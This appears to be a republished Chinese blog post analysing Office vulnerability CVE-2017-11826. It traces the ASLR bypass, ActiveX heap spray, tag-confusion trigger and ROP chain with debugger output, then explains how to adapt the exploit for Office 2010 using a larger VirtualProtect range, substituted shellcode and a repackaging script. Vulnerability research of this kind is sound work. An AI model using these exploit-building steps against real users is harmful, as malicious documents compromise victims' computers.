天玄安全实验室 02月08日
CVE-2017-11826 漏洞分析利用
index_new5.html
../../../zaker_core/zaker_tpl_static/wap/tpl_guoji1.html

 

本文深入分析了Office漏洞CVE-2017-11826,该漏洞利用RTF文档内嵌的多个OLE对象绕过ASLR,实现堆喷射并触发漏洞。通过静态分析和动态调试,揭示了漏洞的触发机制:利用未闭合的font标签导致标签类型混淆,进而控制EIP。文章详细阐述了漏洞的利用过程,包括堆喷射的实现、ROP链的构造以及shellcode的执行。同时,针对原EXP无法在Office 2010上成功执行的问题,提出了改造方案,包括修改activeX1.bin文件布局,扩大VirtualProtect修改的内存范围,并替换shellcode。文章为读者深入理解和利用Office漏洞提供了详细的技术指导。

🔑**漏洞原理揭秘**:CVE-2017-11826漏洞利用RTF文档嵌入的三个OLE对象,分别用于绕过ASLR、进行堆喷射和触发漏洞,其中ASLR绕过通过加载msvbvm60.dll实现,堆喷射利用多个activeX.xml.rels文件指向同一activeX1.bin文件。

💥**漏洞触发点分析**:漏洞触发的关键在于document.xml文件中未闭合的font标签,导致在解析idmap标签时Current_Index值比正常情况多一,造成标签类型混淆,使得程序尝试获取错误的TagObject,最终触发漏洞。

🛡️**漏洞利用与改造**:原始EXP无法在Office2010上成功执行,需要改造activeX1.bin文件布局,扩大VirtualProtect修改的内存范围至0x1000,确保覆盖shellcode,并替换为自定义的shellcode,从而实现漏洞的成功利用。

原创 Joey 2021-08-04 15:46

CVE-2017-11826漏洞的分析与利用

前言

最近开始分析 Office 漏洞,拿到 CVE-2017-11826 的样本后发现无法在 Office2010 上成功执行,打算分析并改造该 EXP。参考了许多资料,结合自己的理解写了本文,供大家学习和参考。

漏洞分析

分析环境

OS:              Win7 x64 SP1Office:          2010 x86Image name:      wwlib.dllTimestamp:       Sat Mar 27 23:37:07 2010 (4BAE2623)CheckSum:        0127F568ImageSize:       0127A000File version:    14.0.4762.1000Product version: 14.0.4762.0

静态分析

在 rtf 文档中搜索 object,发现嵌入了 3 个 ole 对象:

第一个对象的 CLSID 为D5DE8D20-5BB8-11D1-A1E3-00A0C90F2731,在注册表搜索后发现该对象位于C:\Windows\SysWOW64\msvbvm60.dll,而该 dll 是没有 ASLR 的。

通过 ProcessExplorer 发现 word 打开 rtf 文档后确实加载了 msvbvm60.dll,且该 dll 无 ASLR,说明该 ole 对象的作用是绕过 ASLR。

使用rtfobj.py -s all提取 ole 对象:

第一个对象经过上面的分析是用于绕过 ASLR 的,第二和第三个都是.doc 文档,使用压缩软件直接打开第二个文档,文档结构如下:

│  [Content_Types].xml│├─docProps│      app.xml│      core.xml│├─word│  │  document.xml│  │  fontTable.xml│  │  settings.xml│  │  styles.xml│  │  webSettings.xml│  ││  ├─activeX│  │  │  activeX1.bin│  │  │  activeX1.xml│  │  │  activeX2.xml│  │  │   ······│  │  │  activeX40.xml│  │  ││  │  └─_rels│  │          activeX1.xml.rels│  │          activeX2.xml.rels│  │            ······│  │          activeX40.xml.rels│  ││  ├─media│  │      image1.wmf│  ││  ├─theme│  │      theme1.xml│  ││  └─_rels│          document.xml.rels│└─_rels        .rels

可以看出使用了 40 个 activeX.xml 文件,文件内容如下:

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<ax:ocx ax:classid="{00000000-0000-0000-0000-000000000001}" ax:persistence="persistStorage" r:id="rId1" xmlns:ax="http://schemas.microsoft.com/office/2006/activeX" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"/>

40 个 xml 文件内容一致,加载了 CLSID 为{00000000-0000-0000-0000-000000000001}的对象,然而系统中并没有这个对象,所以并不会加载任何对象,这么做是为了提高堆喷的效率,具体原理可查看SPRAYING THE HEAP IN SECONDS USING ACTIVEX CONTROLS IN MICROSOFT OFFICE[1]一文。

而 40 个 activeX.xml.rels 的内容也完全一致:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
 <Relationship Id="rId1" Type="http://schemas.microsoft.com/office/2006/relationships/activeXControlBinary" Target="activeX1.bin"/>
</Relationships>

都指向了 activeX1.bin 文件,因此会将 activeX1.bin 在内存中加载 40 次,以此达到堆喷的目的。

activeX1.bin 文件结构如下:

activeX1.bin│ -文件头│ -数据│    │---CB 40 94 72 EC 83 88 08 CB 40 94 72 EC 83 88 08│    │      ······│    │---CB 40 94 72 EC 83 88 08 CB 40 94 72 EC 83 88 08│    │---shellcode│    │---2B 0E 98 72 2B 0E 98 72 2B 0E 98 72 2B 0E 98 72│    │      ······│    │---2B 0E 98 72 2B 0E 98 72 2B 0E 98 72 2B 0E 98 72│    │      ······│    │---CB 40 94 72 EC 83 88 08 CB 40 94 72 EC 83 88 08│    │      ······

看结构似乎是滑板指令加 shellcode,待调试验证。

第三个文档结构如下:

│  [Content_Types].xml│├─docProps│      app.xml│      core.xml│├─word│  │  document.xml│  │  endnotes.xml│  │  fontTable.xml│  │  footnotes.xml│  │  settings.xml│  │  styles.xml│  │  webSettings.xml│  ││  ├─theme│  │      theme1.xml│  ││  └─_rels│          document.xml.rels│└─_rels        .rels

document.xml 的内容如下:

观测到<w:font 标签内有异常字符,且标签未正常闭合,预测漏洞触发于该处。

通过静态分析了解到 RTF 文档通过内嵌 3 个 ole 对象来实现 ASLR 绕过、堆喷射和漏洞触发,ASLR 绕过是通过加载 CLSID 为D5DE8D20-5BB8-11D1-A1E3-00A0C90F2731的 COM 对象,将msvbvm60.dll加载到内存中。堆喷射利用 40 个 activeX.xml.rels 指向唯一的 activeX1.bin 文件,将 activeX1.bin 文件中的数据部分,即偏移为 0x800 后的内容加载到内存中实现堆喷射。而漏洞触发部分则利用 document.xml 中的异常字符和标签触发漏洞。

动态调试

使用 windbg 附加 word,打开漏洞文件:

可以看到异常因为 ecx+4 指向的内存无法访问导致错误。查看反汇编得知 ecx 的值来源于 eax,此时 eax 的值为088888ec。再次打开漏洞文件发现 ecx 的值改变,但是 eax 的值仍为088888ec,说明 eax 的值为故意构造。

于是打算下断在函数wwlib!DllGetClassObject+0x42d4 (71ed98b0)查看 eax 是如何生成的。查看 wwlib 的基地址,算出函数的偏移为wwlib+004da16b

0:000> lm m wwlibstart    end        module name
71ed0000 7314a000   wwlib      (export symbols)       C:\PROGRA~2\MICROS~1\Office14\wwlib.dll0:000> ? 723aa16b-71ed0000Evaluate expression: 5087595 = 004da16b

重新打开漏洞文档,bp wwlib+004da16b下断:

步过两次后执行到如图所示位置时,查看 eax 所在的内存:

发现和在文档 3 中的字符串一致,接着查看 eax+44,对应的正是异常触发时 eax 的值088888ec

但在 xml 文件中,字符串中的异常字符的十六进制为e8a3ace0a288

在文件中显示的格式是 Ascii,然而在内存中显示的是 Unicode,于是将文件中的字符以 utf-8 格式转换为十六进制正是 eax 的值088888ec

说明通过修改该字符串可以控制 eax 的值,进而控制 eip。

在 ida 中找到奔溃函数为 sub_31A55CE6,发现变量 v3 是宽字节字符串,位于 arg2+0x18,变量 v4 是一个长度,位于 arg2+0x1c

在 windbg 设置崩溃函数起始点打印 v3 为字符串,长度为 v4:bp wwlib+385ce6 "du poi(poi(esp+8)+18) Lpoi(poi(esp+8)+1c); g;"

可以看到 v3 就是 xml 文件中的标签,在解析到 idmp 标签后程序崩溃,然而并没有看到 font 标签,于是寻找到崩溃函数的父函数 sub_3170FA5A

崩溃函数 arg2 的值为 edi,而 edi 的值为父函数的 arg2:

于是在父函数和崩溃函数同时下断,查看标签解析情况:

bp wwlib+3fa5a ".printf \"Parent_Func: \"; du poi(poi(esp+8)+18) Lpoi(poi(esp+8)+1c); g;"
bp wwlib+385ce6 ".printf \"Crash_Func: \"; du poi(poi(esp+8)+18) Lpoi(poi(esp+8)+1c); g;"

在父函数成功解析到 font 标签,猜测因为 font 标签未闭合而导致崩溃函数解析标签出错产生漏洞,修改了 xml 文件闭合了 font 标签:

将修改后的 docx 文件嵌入到新建的 rtf 文件中,在 windbg 中调试后发现 eax 的值改变了,并且没有异常,证实因为 font 标签未闭合导致的漏洞。

继续调试发现异常触发点的 eax 和 ecx 都是来自于 esi,而 esi 为漏洞函数的 arg1:

因此在漏洞函数打印标签以及[[esi+17f0]]、[[esi+17f0]+8]、[[esi+17f0]+c]和[esi+17f0]的值:

bp wwlib+385ce6 "du poi(poi(esp+8)+18) Lpoi(poi(esp+8)+1c); r $t0=poi(poi(esp+4)+17f0); dd poi($t0) L1; dd poi($t0)+8 L1; dd poi($t0)+c L1; dd $t0 L1; .printf\"\\n\"; g;"

打印出的结构就是 Taglist 结构体,具体结构参考 goabout2 的office CVE-2017-11826 杂谈[2]一文。

接着调试异常触发点上的函数,发现函数功能为通过层级标签获取 TagObject Array[Index-2]:

继续向上追溯,发现函数 GetTagObject 也调用了 GetTagObjectByIndex,通过分析发现该函数获取的是 TagObject Array[Index-1]的地址:

分析到这里,漏洞产生的原因也就出来了,由于 word 每解析一个标签,Current_Index 的值就加一,当解析到闭合标签,Current_Index 值会减 1。由于构造了没有闭合的 font 标签,因此导致在解析 idmap 标签时比正常文件的 Current_Index 多一,导致原本应该获取 OLEObject 标签的 TagObject 变成获取了 font 的 TagObject,因此造成了标签类型混淆导致漏洞的发生。

将标签层级和 xml 文件标签对应:

可以证实确实因为 Current_Index 值比正常文件的多一导致的类型混淆。

在内存中查看当解析 idmap 层级为 6 时 Taglist 的内存结构:

> bp wwlib+4da16b> gBreakpoint 1 hiteax=070f1800 ebx=00000000 ecx=0225466c edx=00000004 esi=0225466c edi=070f19dceip=6f95a16b esp=002cf428 ebp=002cf490 iopl=0         nv up ei pl nz na po nccs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202wwlib!DllGetLCID+0x2cc775:6f95a16b e840f7b2ff      call    wwlib!DllGetClassObject+0x42d4 (6f4898b0)
> ub $ip L8wwlib!DllGetLCID+0x2cc75d:6f95a153 83780401        cmp     dword ptr [eax+4],16f95a157 0f85f5bdeaff    jne     wwlib!DllGetLCID+0x17855c (6f805f52)6f95a15d 8bb6f0170000    mov     esi,dword ptr [esi+17F0h]6f95a163 8b06            mov     eax,dword ptr [esi]6f95a165 8b10            mov     edx,dword ptr [eax]6f95a167 4a              dec     edx6f95a168 4a              dec     edx6f95a169 8bce            mov     ecx,esi

此时 eax 的值即为 Taglist,因此查看 eax 指向的 Taglist 结构:

此时 TagObject[4]+0x44 的值为0x090b4000,查看该值在内存中存储的数据:

发现[[TagObject[4]+0x44]+0x44]的值正是 xml 文件中 font 标签构造的固定地址,自此漏洞部分分析完毕。

漏洞利用

先启动 word 然后使用 windbg 附加会导致堆喷无法成功,继而无法分析漏洞利用部分。因此使用 gflags.exe 让调试器直接加载 winword.exe:

设置断点在异常触发点:

> bp wwlib+4da184> gBreakpoint 0 hiteax=088888ec ebx=00000000 ecx=088883ec edx=00000004 esi=004b44b4 edi=0340cddceip=6e2da184 esp=002f5f14 ebp=002f5f7c iopl=0         nv up ei pl nz na po nccs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202wwlib!DllGetLCID+0x2cc78e:6e2da184 50              push    eax
0:000> u $ipwwlib!DllGetLCID+0x2cc78e:6e2da184 50              push    eax6e2da185 ff5104          call    dword ptr [ecx+4]6e2da188 e9fabdeaff      jmp     wwlib!DllGetLCID+0x178591 (6e185f87)6e2da18d 83f802          cmp     eax,26e2da190 750f            jne     wwlib!DllGetLCID+0x2cc7ab (6e2da1a1)6e2da192 83c624          add     esi,24h6e2da195 56              push    esi6e2da196 52              push    edx> dd ecx+4088883f0  72980e2b 72980e2b 72980e2b 72980e2b08888400  72980e2b 72980e2b 72980e2b 72980e2b08888410  72980e2b 72980e2b 72980e2b 72980e2b08888420  72980e2b 72980e2b 72980e2b 72980e2b08888430  72980e2b 72980e2b 72980e2b 72980e2b08888440  72980e2b 72980e2b 72980e2b 72980e2b08888450  72980e2b 72980e2b 72980e2b 72980e2b08888460  72980e2b 72980e2b 72980e2b 72980e2b

发现 exc+4 的值为 activeX1.bin 中 shellcode 下方的填充,说明已经成功堆喷。

步入[exc+4]后发现来到了 msvbvm60.dll,已经进入了 ROP 链:

> teax=088888ec ebx=00000000 ecx=088883ec edx=00000004 esi=004c44b4 edi=0043cddceip=72980e2b esp=00385a18 ebp=00385a88 iopl=0         nv up ei pl nz na po nccs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202msvbvm60!IID_IVbaHost+0x127eb:72980e2b 94              xchg    eax,esp

而第一条指令则是用来栈迁移,在之前已经将 eax 入栈,而 eax 的值正是构造好的0x088888ec,执行指令后,esp 的值已经变成了0x088888ec

而 eax 中的内容刚好位于 shellcode 的上方,此时 ROP 链为滑板指令,循环执行pop eaxret,此时可以下断bp 729440cc ".if(esp=08888f48){}.else{gc}"停在了滑板指令结束的位置:

当执行到最后一次滑板指令时,会将0x729410d0放入 eax 中,而该值是 msvbvm60.dll 的 IAT 表中的数据,查看后存储的是 VirtualProtect 的地址:

紧接着通过 ret 跳转到 ROP 指令jmp [eax]执行 VirtualProtect,而此时栈中为构造好的 VirtualProtect 的参数:

再次跳转后进入到 kernelbase.dll 的 VirtualProtect:

执行后会跳转到0x08888f70执行 shellcode:

然而 VirtualProtect 的修改的内存范围只有0x08888c90 - 08888e91,而 shellcode 却位于0x08888f70,因此会触发 c0000005 访问异常,shellcode 执行失败:

利用改造

activeX1.bin 文件中布局如下:

由于原本 VirtualProtect 修改的范围为 0x201 不够,因此修改为 0x1000 确保能够覆盖 shellcode,随后将 shellcode 替换为自己的 shellcode 即可。

将修改好的 activeX1.bin 文件替换到 rtfobj.py 提取出来进行堆喷的文档中,并修改为.docx,脚本参考Exploiting Word: CVE-2017-11826[3]一文,替换脚本如下:

import os
import shutil
import zipfile
template_path = ""
final_docx_name = ""
activeX_bin_path = ""
def pack_file_to_open_xml_docx(template_path, final_docx_name, activeX_bin_path):
    if not os.path.exists(template_path) or not os.path.exists(activeX_bin_path):
        print("Template docx file or activeX.bin file not exist.")
        return
    with open(activeX_bin_path, "rb"as f_:        object_bin_data = f_.read()
    zip_docx = template_path + ".zip"    current_dir = os.path.abspath(os.path.dirname(__file__))
    new_path = os.path.join(current_dir, "exp", os.path.basename(zip_docx))
    if os.path.exists(new_path):        os.remove(new_path)    shutil.copy(template_path, new_path)    zip_docx = new_path
    # open temp docx and a copy for modification
    zin = zipfile.ZipFile(zip_docx, 'r')
    zip_docx_copy = zip_docx + "_copy_"
    zout = zipfile.ZipFile(zip_docx_copy, "w")
    # modify the docx template with exploit
    for item in zin.infolist ():
        if item.filename.find("activeX1") >= 0 and item.filename.find(".bin") >= 0:
            pass
        else:            buffer = zin.read(item.filename)
            zout.writestr(item, buffer) # use existing file
    zout.writestr("word/activeX/" + "activeX1.bin", object_bin_data)    zout.close ()    zin.close ()
    # convert to docx    os.rename (zip_docx_copy, final_docx_name)    os.remove(zip_docx)pack_file_to_open_xml_docx(template_path, final_docx_name, activeX_bin_path)

新建一个 rtf 文件,将替换好的 docx 文件添加到 rtf 文件中,保存后使用 010Editor 打开,搜索 object,将{\object 和{*\objdata 的全部内容复制:

再新建一个 rtf 文件,按照堆喷射、Bypass ASLR 和漏洞触发的顺序添加三个对象。堆喷射的内容就是上方复制好的内容,其他两个可以直接在原 EXP 中复制过来即可,最终 EXP 的结构如下所示:

最终成功执行了 shellcode:


参考链接

[1]

SPRAYING THE HEAP IN SECONDS USING ACTIVEX CONTROLS IN MICROSOFT OFFICE:  https://www.greyhathacker.net/?p=911

[2]

office CVE-2017-11826 杂谈:  https://www.cnblogs.com/goabout2/p/8186018.html

[3]

Exploiting Word: CVE-2017-11826:  https://www.tarlogic.com/blog/exploiting-word-cve-2017-11826/

[4]

cve-2017-11826漏洞分析、利用及动态检测: https://www.anquanke.com/post/id/87122

[5]

open xml标签解析类漏洞分析思路:  https://www.anquanke.com/post/id/103080


Fish AI Reader

Fish AI Reader

AI辅助创作,多种专业模板,深度分析,高质量内容生成。从观点提取到深度思考,FishAI为您提供全方位的创作支持。新版本引入自定义参数,让您的创作更加个性化和精准。

FishAI

FishAI

鱼阅,AI 时代的下一个智能信息助手,助你摆脱信息焦虑

联系邮箱 441953276@qq.com

相关标签

CVE-2017-11826 Office漏洞 ASLR绕过 堆喷射 漏洞利用
相关文章